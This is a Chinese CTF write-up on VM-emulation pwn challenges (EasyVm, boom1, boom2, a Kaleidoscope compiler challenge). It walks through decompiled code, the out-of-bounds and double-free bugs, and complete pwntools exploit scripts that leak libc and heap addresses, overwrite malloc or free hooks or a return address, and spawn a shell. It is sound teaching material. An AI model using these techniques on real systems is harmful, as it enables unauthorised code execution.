VMPwn之温故知新
2020-05-27 10:30:44 Author: xz.aliyun.com(查看原文) 阅读量:292 收藏

前言

VMPwn泛指实现一些运算指令来模拟程序运行的Pwn题。去年十二月的时候跟着0xC4m3l师傅的文章系统学习了一下VMPwn,到今天发现VMPwn已经成了一个主流的出题方向,在去年的上海大学生网络安全大赛和红帽杯的线下也有几道VMPwn,因此我这里拿几道最近的题目来总结一下此类问题的一般思路。

题目概述

我们现在常见到的VMPwn基本设计如下:

  1. 分配内存模拟程序执行,基本组成要素为代码区和数据区,这两块区域可以分配在同一块内存或者两块独立内存。
  2. 数据区域包含模拟栈和模拟寄存器。
  3. 代码区根据用户指令模拟各种操作,如压栈出栈,寄存器立即数运算等
  4. 一般都是数据区的读写越界引发的漏洞,根据数据区内存分配位置的不同可以分为栈越界,bss越界和堆越界三类问题。

典型的题目有ciscn_2019_virtual、Ogeek_ovm、D3CTF_babyrop等。除了这种在机器码层面模拟程序执行的题目,还有模拟运行高级语言代码的题目,二者侧重点不太一样,我们分别拿例题来讲解。

汇编类VMPwn

这类问题的核心就是逆向,漏洞多是越界读写,先分析VM接收的数据格式,之后通过静态代码分析和动态调试搞清每条模拟指令的含义,再根据指令进行组合利用漏洞。

2020-no-Conv-CTF_EasyVm

程序逻辑

在逆指令前,可以通过IDA的结构体导入功能导入C语言形式的结构体,简化代码。经过分析,核心的数据结构是这样一个node结构体。

struct node{
    unsigned int reg[6];
    unsigned int chunk1;
    unsigned int chunk2;
    unsigned int memchunk;
    unsigned int res2;
    unsigned int chunk_addr;
};

首先是main函数的代码,大的功能是分配一块区域供用户写指令和数据,将这块内存作为参数交与VM虚拟机执行,释放堆内存以及给一个present。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // ST2C_4
  node *ptr; // [esp+18h] [ebp-18h]
  int bss_addr; // [esp+ACh] [ebp+7Ch]

  Init();
  ptr = SetInit();
  while ( 1 )
  {
    switch ( menu() )
    {
      case 1:
        buf = malloc(0x300u);                   // produce
        read(0, buf, 0x2FFu);
        ptr->mem_chunk = (unsigned int)buf;
        break;
      case 2:                                   // start
        if ( !ptr )
          exit(0);
        MainMethod(ptr);
        break;
      case 3:
        if ( !ptr )
          exit(0);
        free((void *)ptr->chunk_addr);          // Recycle,double free
        free(ptr);
        break;
      case 4:
        puts("Maybe a bug is a gif?");
        some_bss_val = bss_addr;                // 这里需要调试看到这个值
        ptr->mem_chunk = (unsigned int)&unk_3020;
        break;
      case 5:
        puts("Zzzzzz........");
        exit(0);
        return;
      default:
        puts("Are you kidding me ?");
        break;
    }
  }
}

MainMethod函数实现的指令比较多,我们截取漏洞利用用到的,其他的指令还有add,sub,sub,mul,div,xor,>>,<<,return,or,and

0x80这条指令同Magic函数相关,在IDA中其反编译的效果并不好,在gdb动态调试之后我们可以发现这条指令的含义是ptr_chunk[idx]=val,其中idx和val都是可控数据,因此这里存在堆越界写。

0x53指令调用putchar输出*reg[3]的值。

0x76指令设置reg[3]=*(ptr_chunk->chunk1)

0x54指令调用getchar函数向ptr_chunk->reg[3]存储的地址里输入值。

0x9指令将我们main函数中获取的present赋值给ptr_chunk->reg[1],配合指令0x11可以将这个值输出。

unsigned int __cdecl MainMethod(node *ptr_chunk)
{   //...
    if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x80u )
    {
      ptr_chunk->reg[Magic(ptr_chunk, 1u)] = *(_DWORD *)(ptr_chunk->mem_chunk + 2);// magic here,prt_chunk[可控idx] = 可控数字
      ptr_chunk->mem_chunk += 6;
    }
    if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x53 )// leak
        {
        putchar(*(char *)ptr_chunk->reg[3]);      // 改为got表
        ptr_chunk->mem_chunk += 2;
        }
    if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x76 )
        {
        ptr_chunk->reg[3] = *(_DWORD *)ptr_chunk->chunk1;// set val
        *(_DWORD *)ptr_chunk->chunk1 = 0;
        ptr_chunk->chunk1 += 4;
        ptr_chunk->mem_chunk += 5;
        }
    if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x54 )// get input;get shell
        {
        v1 = (_BYTE *)ptr_chunk->reg[3];
        *v1 = getchar();
        ptr_chunk->mem_chunk += 2;
        }
    if ( *(_BYTE *)ptr_chunk->mem_chunk == 9 )
        {
        ptr_chunk->reg[1] = some_bss_val;         // set bss addr
        ++ptr_chunk->mem_chunk;
        }
    if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x11 )// leak proc base
        {
        printf("%p\n", ptr_chunk->reg[1]);
        ++ptr_chunk->mem_chunk;
        }
    //...
}
int __cdecl Magic(node *ptr_chunk, unsigned int one)
{
  int result; // eax
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  result = 0;
  if ( one <= 2 )
    result = *(unsigned __int8 *)(*(unsigned int *)((char *)ptr_chunk->reg + (_DWORD)(&free_ptr - 0xBE7)) + one);
  if ( __readgsdword(0x14u) != v3 )
    chk_fail();
  return result;
}

漏洞利用

这里的漏洞就是0x80指令的越界问题,以及main函数中清空堆块时的double free,还有出题人留的一个present。

我们首先用gdb调试查看所谓的present,发现是一个bss地址,因此使用0x9+0x11可以泄露程序加载基址proc_base

有了基址我们使用0x80指令将reg[3]改为puts@got,配合0x53的单字节打印分4次输出得到puts函数地址从而得到libc基址。

泄露heap地址也同理,我们用0x80指令将reg[3]改成main_arena->bins[]中的smallbin的存储地址,再调用0x53指令输出得到heap基址。

最后Getshell需要0x80+0x76+0x54,我们在堆上写一个__malloc_hook地址,通过0x80指令将ptr_chunk->chunk1改成存储__malloc_hook的堆地址,0x76指令则将这个地址赋值给reg[3],而0x54指令可以单字节向__malloc_hook输入值,我们分4次写入one_gadget即可。

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='i386',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./EasyVM')
libc_offset = 0x3c4b20
gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
if debug:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    p = process('./EasyVM')

else:
    libc = ELF('./libc-2.23.so')
    p = remote('121.36.215.224',9999)

def Add(content):
    p.recvuntil('>>>')
    p.sendline('1')
    sleep(0.02)
    p.send(content)

def Start():
    p.recvuntil('>>>')
    p.sendline('2')

def Delete():
    p.recvuntil('>>>')
    p.sendline('3')

def Gift():
    p.recvuntil('>>>')
    p.sendline('4')

def exp():
    #leak proc base
    Gift()
    data = p8(0x9)+p8(0x11)+p8(0x99)
    Add(data)
    Start()
    p.recvuntil("0x")
    code_base = int(p.recvn(8),16) - (0x565556c0-0x56555000)
    log.success("code base => " + hex(code_base))
    #leak libc
    Delete()
    data = p8(0x80)+p8(0x3)+p32(code_base+0x0002fd0)+p8(0x53)+'\x00'
    data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd1)+p8(0x53)+'\x00'
    data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd2)+p8(0x53)+'\x00'
    data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd3)+p8(0x53)+'\x00'
    data += '\x99'
    Add(data)

    Start()
    p.recvn(2)
    libc_base = u32(p.recvn(4)) - libc.sym['puts']
    log.success("libc base => " + hex(libc_base))
    #leak heap
    target = libc_base + (0xf7fb2150-0xf7e00000)
    malloc = libc_base + libc.sym['__malloc_hook']
    shell = libc_base + gadgets[1]

    data = p8(0x80)+p8(0x3)+p32(target)+p8(0x53)+'\x00'
    data += p8(0x80)+p8(0x3)+p32(target+1)+p8(0x53)+'\x00'
    data += p8(0x80)+p8(0x3)+p32(target+2)+p8(0x53)+'\x00'
    data += p8(0x80)+p8(0x3)+p32(target+3)+p8(0x53)+'\x00'
    data += '\x99'
    Add(data)

    Start()
    p.recvn(2)
    heap_base = u32(p.recvn(4))
    log.success("heap base => " + hex(heap_base))
    #get shell
    fake_heap = heap_base + (0x56559aaf-0x56559000)
    fake_heap1 = heap_base + (0x56559abc-0x56559000)
    fake_heap2 = heap_base + (0x56559ac9-0x56559000)
    fake_heap3 = heap_base + (0x56559ad6-0x56559000)
    data = p8(0x80)+p8(0x6)+p32(fake_heap)+p8(0x76)+p32(malloc)+p8(0x54)+'\x00'
    data += p8(0x80)+p8(0x6)+p32(fake_heap1)+p8(0x76)+p32(malloc+1)+p8(0x54)+'\x00'
    data += p8(0x80)+p8(0x6)+p32(fake_heap2)+p8(0x76)+p32(malloc+2)+p8(0x54)+'\x00'
    data += p8(0x80)+p8(0x6)+p32(fake_heap3)+p8(0x76)+p32(malloc+3)+p8(0x54)+'\x00'
    data += '\x99'
    Add(data)

    Start()
    raw_input()
    p.send(p8(shell&0xff))
    raw_input()
    p.send(p8((shell&0xffff)>>8))
    raw_input()
    p.send(p8((shell>>16)&0xff))
    raw_input()
    p.send(p8((shell>>24)))
    #gdb.attach(p,'b* 0x56555000+ 0xcaf')

    p.recvuntil('>>>')
    p.sendline('3')


    p.interactive()

exp()

网鼎杯青龙组boom2

程序逻辑

main函数的开始部分分配了两个大小为0x40000uLL的堆块,因为大于了默认的heap分配阈值,调用mmap分配内存,在堆地址中存储了一个栈地址。

setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
chunk_addr = (signed __int64 *)malloc(0x40000uLL);// >0x23000,mmap
buf = (char *)malloc(0x40000uLL);
printf("MC execution system\nInput your code> ", 0LL);
read(0, buf, 0x120uLL);
chunk_addr += 0x8000;
chunk_8000_addr = chunk_addr;
--chunk_addr;
*chunk_addr = 0x1ELL;
--chunk_addr;
*chunk_addr = 0xDLL;
v4 = chunk_addr;
--chunk_addr;
*chunk_addr = a1 - 1;
--chunk_addr;
*chunk_addr = (signed __int64)(a2 + 1);       // 这里放了栈地址进去
chunk_8000_addr_sub_1 = chunk_addr - 1;
*chunk_8000_addr_sub_1 = (signed __int64)v4;  // 堆里保存了自己的地址
v37 = 0LL;

整个虚拟机只能执行一次,且最多执行30条指令,这里依然是只分析重点的指令,其他包括v36和*chunk_8000_addr_sub_1add/sub/mul/div/>>/&/^等运算,不一而足。

0x0的指令存在一个明显的堆越界读,将数据赋值给v36。

0x6的指令存在同样的问题,只不过赋值的对象变成了chunk_8000_addr_sub_1

0x9指令将v36作为地址取值再赋给v36。

0x11指令为v36的双重取值再赋值。

0x13指令执行*chunk_8000_addr_sub_1 = v36,这条指令将v36和chunk_8000_addr_sub_1关联了起来。

//choice=0
buf2 = buf;// choice为0
buf += 8;
v36 = (signed __int64)&chunk_8000_addr[*buf2];// v7可控的话这里有堆越界
//choice=1
buf3 = (signed __int64 *)buf;// choice=1
buf += 8;
v36 = *buf3;// 取buf值赋值给v36
// choice=6
chunk_8000_addr_sub_2 = chunk_8000_addr_sub_1 - 1;
*chunk_8000_addr_sub_2 = (signed __int64)chunk_8000_addr;
chunk_8000_addr = chunk_8000_addr_sub_2;
buf4 = buf;
buf += 8;
chunk_8000_addr_sub_1 = &chunk_8000_addr_sub_2[-*buf4];// (注意要乘8)前溢将堆地址赋值给这个值
//choice=9
v36 = *(_QWORD *)v36;//取8字节v36地址上的值赋给v36
//choice=11
v13 = (signed __int64 **)chunk_8000_addr_sub_1;// v13先放一个map地址,这个地址的值是retn_addr
++chunk_8000_addr_sub_1;
**v13 = v36;//两次取值,赋值为一个可控值
//choice=13
--chunk_8000_addr_sub_1;//把v36写到堆上
*chunk_8000_addr_sub_1 = v36;// 先让v36得到我们的那个目标值

漏洞利用

这里没有输出函数,我们考虑将返回地址的__libc_start_main函数直接拷贝到map地址,通过加运算得到one_gadget

将map上的原栈地址进行加减运算得到retn_addr,再用双重赋值指令把one_gadget写入到retn_addr。在exp注释中详细解释了每一条指令的目的。

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 2
elf = ELF('./pwn')
libc_offset = 0x3c4b20


libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
if debug == 1:
    gadgets = [0x45216,0x4526a,0xcd0f3,0xcd1c8,0xf02a4,0xf02b0,0xf1147,0xf66f0]
    p = process('./pwn')
elif debug == 2:
    gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    p = process('./pwn', env={'LD_PRELOAD':'./libc6_2.23-0ubuntu10_amd64.so'})
else:
    p = remote('182.92.73.10',36642)

def exp():
    #environ+0xf0 = retn_addr
    libc_base = 0x7ffff7a0d000
    shell_addr = gadgets[3]
    target = libc.sym['__libc_start_main']+240
    off = shell_addr - target
    print hex(off)
    p.recvuntil("Input your code> ")
    #gdb.attach(p,'b* 0x0000555555554000+0xb72')
    #gdb.attach(p,'b* 0x0000555555554000+0xe43')
    #set args = bin_sh
    payload = flat([
        0,-4,#set v36 = map_addr(stack_addr on it)
        9,#set v36 = stack_addr
        6,0x101e0,#set chunk_8000_addr_sub_1
        25,#set v36 = retn_addr
        6,-0x101e3,#set chunk_8000_addr_sub_1 = map_addr
        13,#set map_addr(retn_addr)
        9,#set v36 = libc_start_main+240
        6,0x101e0,#set map_addr
        25,#set v36 = one_gadget
        6,-0x101e1,#set chunk_8000_addr_sub_1 = map_addr
        11,#set retn_addr(one_gadget)
        ])
    payload = payload.ljust(8*26,'\x00')
    payload += flat([
        -0xe8,off,0x12345678
        ])
    p.sendline(payload)
    p.interactive()

exp()

编译器类VM

这类VM主要接收用户的高级语言形式的代码,模拟编译执行,相比于汇编类的VM,它更加灵活,难度也更高,做题没有固定的套路,需要自己结合题目环境解题。

2019红帽杯-万花筒

程序逻辑 && 漏洞利用

题目是用llvm自己实现的一个小型编译器,是llvmcookbook的示例改的,toy语言,看Kaleidoscope这个名字应该就可以找到教程,gettok里定义了一些标识符,在划分语元的时候使用,这里有def、extern、if等。

在引用未定义的函数会提示Error: Unknown function referenced, 假如我们定义一个名称与库函数相同且没有body的函数(如def system(a);), 第一次调用提示Error: Unknown unary operator, 之后能调用到库函数,因此我们调用mmap分配一块固定内存地址存放/bin/sh,之后调用sytem(map_addr)来get shell。

from pwn import *
p = process("./pwn2")
p.recvuntil("ready> ")
p.sendline("def mmap(a b c d e f);")
p.recvuntil("ready> ")
p.sendline("mmap(1,1,1,1,1,1);")
p.recvuntil("ready> ")
p.sendline("def read(a b c);")
p.recvuntil("ready> ")
p.sendline("read(1,1,1);")
p.recvuntil("ready> ")

p.sendline("mmap("+str(0x10000)+","+str(0x1000)+",3,34,0,0);") 
p.recvuntil("ready> ")
p.recvuntil("ready> ")
p.sendline("read(0,65536,20);")
p.recvuntil("ready> ")
p.sendline("/bin/sh")
p.recvuntil("ready> ")
p.sendline("def system(a);")
p.recvuntil("ready> ")
p.sendline("system(0);")
p.recvuntil("ready> ")
p.sendline("system(65536);")
p.interactive()

2020网鼎杯青龙组-boom1

程序逻辑 && 漏洞利用

这道题目也是一道编译器类的VM,程序限制我们只能进行一次函数调用,在调试过程中可以发现存储我们指令的内存地址是通过map得到的,因此其地址和libc地址偏移是固定的,我们可以定义一个变量,从这个变量的地址寻址到__free_hooksystem函数,将后者覆写到前者,再调用free('/bin/sh')即可。

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./pwn')

def exp():
    gdb.attach(p,'b* 0x555555558724')
    p.recvuntil("I'm living...")
    payload = '''main(){int a;a=0x12345677;*(&a-161542)=&a-620937;free("/bin/sh");}'''
    p.sendline(payload)
    p.interactive()

exp()

总结

从我们举的例题中可以看到汇编类的VMPwn核心是逆向和对于已有指令的组合,编译器类的VMPwn则需要动态的调试去寻找规律,相比于前者更加复杂。


文章来源: http://xz.aliyun.com/t/7787
如有侵权请联系:admin#unsafe.sh